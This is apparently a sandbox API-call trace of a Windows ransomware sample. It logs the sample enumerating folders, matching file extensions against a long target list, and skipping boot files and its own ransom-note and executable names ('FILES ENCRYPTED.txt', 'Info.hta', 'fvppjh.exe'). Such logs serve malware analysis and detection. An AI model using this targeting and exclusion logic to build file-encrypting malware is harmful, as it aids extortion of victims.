	[0060.465] lstrcmpiW (lpString1=".pptx", lpString2="E.dll") returned -1
	[0060.465] lstrlenW (lpString=".prn") returned 4
	[0060.465] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".ps") returned 3
	[0060.465] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0060.465] lstrlenW (lpString=".psb") returned 4
	[0060.465] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".psd") returned 4
	[0060.465] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".pst") returned 4
	[0060.465] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".ptx") returned 4
	[0060.465] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".pub") returned 4
	[0060.465] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".pwm") returned 4
	[0060.465] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".pxr") returned 4
	[0060.465] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0060.465] lstrlenW (lpString=".py") returned 3
	[0060.465] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0060.465] lstrlenW (lpString=".qt") returned 3
	[0060.465] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0060.465] lstrlenW (lpString=".r3d") returned 4
	[0060.466] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0060.466] lstrlenW (lpString=".raf") returned 4
	[0060.466] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0060.466] lstrlenW (lpString=".rar") returned 4
	[0060.466] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0060.466] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0060.466] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0060.466] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0060.466] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0060.466] FindNextFileW (in: hFindFile=0x739898, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0060.466] FindClose (in: hFindFile=0x739898 | out: hFindFile=0x739898) returned 1
	[0060.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3221230 | out: hHeap=0x720000) returned 1
	[0060.467] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0060.467] FindClose (in: hFindFile=0x739858 | out: hFindFile=0x739858) returned 1
	[0060.467] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3200940 | out: hHeap=0x720000) returned 1
	[0060.468] FindNextFileW (in: hFindFile=0x7397d8, lpFindFileData=0x2e9fcf8 | out: lpFindFileData=0x2e9fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0060.469] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3200940
	[0060.469] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0060.469] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x7398d8
	[0060.469] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0060.469] FindNextFileW (in: hFindFile=0x7398d8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0060.469] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0060.469] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$Recycle.Bin\\S-1-5-18") returned 1
	[0060.469] lstrlenW (lpString="S-1-5-18") returned 8
	[0060.469] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="S-1-5-18") returned -1
	[0060.469] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3221230
	[0060.470] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18") returned 24
	[0060.470] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x739858
	[0060.471] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.471] FindNextFileW (in: hFindFile=0x739858, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0060.471] lstrlenW (lpString="desktop.ini") returned 11
	[0060.471] lstrlenW (lpString=".1cd") returned 4
	[0060.471] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0060.471] lstrlenW (lpString=".3ds") returned 4
	[0060.471] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0060.471] lstrlenW (lpString=".3fr") returned 4
	[0060.471] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0060.471] lstrlenW (lpString=".3g2") returned 4
	[0060.471] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0060.471] lstrlenW (lpString=".3gp") returned 4
	[0060.471] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0060.471] lstrlenW (lpString=".7z") returned 3
	[0060.472] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0060.472] lstrlenW (lpString=".accda") returned 6
	[0060.472] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0060.472] lstrlenW (lpString=".accdb") returned 6
	[0060.472] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0060.472] lstrlenW (lpString=".accdc") returned 6
	[0060.472] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0060.472] lstrlenW (lpString=".accde") returned 6
	[0060.472] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0060.472] lstrlenW (lpString=".accdt") returned 6
	[0060.472] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0060.472] lstrlenW (lpString=".accdw") returned 6
	[0060.472] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0060.472] lstrlenW (lpString=".adb") returned 4
	[0060.472] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".adp") returned 4
	[0060.472] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".ai") returned 3
	[0060.472] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0060.472] lstrlenW (lpString=".ai3") returned 4
	[0060.472] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".ai4") returned 4
	[0060.472] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".ai5") returned 4
	[0060.472] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".ai6") returned 4
	[0060.472] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".ai7") returned 4
	[0060.472] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".ai8") returned 4
	[0060.472] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".anim") returned 5
	[0060.472] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0060.472] lstrlenW (lpString=".arw") returned 4
	[0060.472] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0060.472] lstrlenW (lpString=".as") returned 3
	[0060.472] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0060.472] lstrlenW (lpString=".asa") returned 4
	[0060.473] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".asc") returned 4
	[0060.473] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".ascx") returned 5
	[0060.473] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0060.473] lstrlenW (lpString=".asm") returned 4
	[0060.473] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".asmx") returned 5
	[0060.473] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0060.473] lstrlenW (lpString=".asp") returned 4
	[0060.473] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".aspx") returned 5
	[0060.473] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0060.473] lstrlenW (lpString=".asr") returned 4
	[0060.473] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".asx") returned 4
	[0060.473] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".avi") returned 4
	[0060.473] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".avs") returned 4
	[0060.473] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".backup") returned 7
	[0060.473] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0060.473] lstrlenW (lpString=".bak") returned 4
	[0060.473] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".bay") returned 4
	[0060.473] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".bd") returned 3
	[0060.473] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0060.473] lstrlenW (lpString=".bin") returned 4
	[0060.473] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".bmp") returned 4
	[0060.473] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".bz2") returned 4
	[0060.473] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0060.473] lstrlenW (lpString=".c") returned 2
	[0060.473] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0060.473] lstrlenW (lpString=".cdr") returned 4
	[0060.474] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cer") returned 4
	[0060.474] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cf") returned 3
	[0060.474] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0060.474] lstrlenW (lpString=".cfc") returned 4
	[0060.474] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cfm") returned 4
	[0060.474] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cfml") returned 5
	[0060.474] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0060.474] lstrlenW (lpString=".cfu") returned 4
	[0060.474] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".chm") returned 4
	[0060.474] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cin") returned 4
	[0060.474] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".class") returned 6
	[0060.474] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0060.474] lstrlenW (lpString=".clx") returned 4
	[0060.474] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".config") returned 7
	[0060.474] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0060.474] lstrlenW (lpString=".cpp") returned 4
	[0060.474] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cr2") returned 4
	[0060.474] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".crt") returned 4
	[0060.474] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".crw") returned 4
	[0060.474] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cs") returned 3
	[0060.474] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0060.474] lstrlenW (lpString=".css") returned 4
	[0060.474] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".csv") returned 4
	[0060.474] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0060.474] lstrlenW (lpString=".cub") returned 4
	[0060.475] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dae") returned 4
	[0060.475] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dat") returned 4
	[0060.475] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".db") returned 3
	[0060.475] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0060.475] lstrlenW (lpString=".dbf") returned 4
	[0060.475] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dbx") returned 4
	[0060.475] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dc3") returned 4
	[0060.475] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dcm") returned 4
	[0060.475] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dcr") returned 4
	[0060.475] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".der") returned 4
	[0060.475] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dib") returned 4
	[0060.475] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dic") returned 4
	[0060.475] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".dif") returned 4
	[0060.475] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".divx") returned 5
	[0060.475] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0060.475] lstrlenW (lpString=".djvu") returned 5
	[0060.475] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0060.475] lstrlenW (lpString=".dng") returned 4
	[0060.475] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".doc") returned 4
	[0060.475] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0060.475] lstrlenW (lpString=".docm") returned 5
	[0060.475] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0060.475] lstrlenW (lpString=".docx") returned 5
	[0060.475] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0060.475] lstrlenW (lpString=".dot") returned 4
	[0060.475] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".dotm") returned 5
	[0060.476] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0060.476] lstrlenW (lpString=".dotx") returned 5
	[0060.476] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0060.476] lstrlenW (lpString=".dpx") returned 4
	[0060.476] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".dqy") returned 4
	[0060.476] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".dsn") returned 4
	[0060.476] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".dt") returned 3
	[0060.476] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0060.476] lstrlenW (lpString=".dtd") returned 4
	[0060.476] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".dwg") returned 4
	[0060.476] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".dwt") returned 4
	[0060.476] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".dx") returned 3
	[0060.476] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0060.476] lstrlenW (lpString=".dxf") returned 4
	[0060.476] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".edml") returned 5
	[0060.476] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0060.476] lstrlenW (lpString=".efd") returned 4
	[0060.476] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".elf") returned 4
	[0060.476] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".emf") returned 4
	[0060.476] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".emz") returned 4
	[0060.476] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".epf") returned 4
	[0060.476] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".eps") returned 4
	[0060.476] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0060.476] lstrlenW (lpString=".epsf") returned 5
	[0060.476] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0060.477] lstrlenW (lpString=".epsp") returned 5
	[0060.477] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0060.477] lstrlenW (lpString=".erf") returned 4
	[0060.477] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".exr") returned 4
	[0060.477] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".f4v") returned 4
	[0060.477] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".fido") returned 5
	[0060.477] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0060.477] lstrlenW (lpString=".flm") returned 4
	[0060.477] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".flv") returned 4
	[0060.477] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".frm") returned 4
	[0060.477] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".fxg") returned 4
	[0060.477] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".geo") returned 4
	[0060.477] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".gif") returned 4
	[0060.477] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".grs") returned 4
	[0060.477] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".gz") returned 3
	[0060.477] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0060.477] lstrlenW (lpString=".h") returned 2
	[0060.477] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0060.477] lstrlenW (lpString=".hdr") returned 4
	[0060.477] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".hpp") returned 4
	[0060.477] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".hta") returned 4
	[0060.477] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".htc") returned 4
	[0060.477] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0060.477] lstrlenW (lpString=".htm") returned 4
	[0060.477] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0060.478] lstrlenW (lpString=".html") returned 5
	[0060.478] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0060.478] lstrlenW (lpString=".icb") returned 4
	[0060.478] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0060.478] lstrlenW (lpString=".ics") returned 4
	[0060.478] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0060.478] lstrlenW (lpString=".iff") returned 4
	[0060.478] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0060.478] lstrlenW (lpString=".inc") returned 4
	[0060.478] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0060.478] lstrlenW (lpString=".indd") returned 5
	[0060.478] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0060.478] lstrlenW (lpString=".ini") returned 4
	[0060.478] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0060.478] lstrlenW (lpString="desktop.ini") returned 11
	[0060.478] lstrlenW (lpString=".GTF") returned 4
	[0060.478] lstrcmpiW (lpString1=".GTF", lpString2=".ini") returned -1
	[0060.478] lstrlenW (lpString="desktop.ini") returned 11
	[0060.478] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1
	[0060.478] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1
	[0060.478] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1
	[0060.478] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1
	[0060.478] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1
	[0060.478] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1
	[0060.478] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1
	[0060.478] lstrcmpiW (lpString1="fvppjh.exe", lpString2="desktop.ini") returned 1
	[0060.478] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
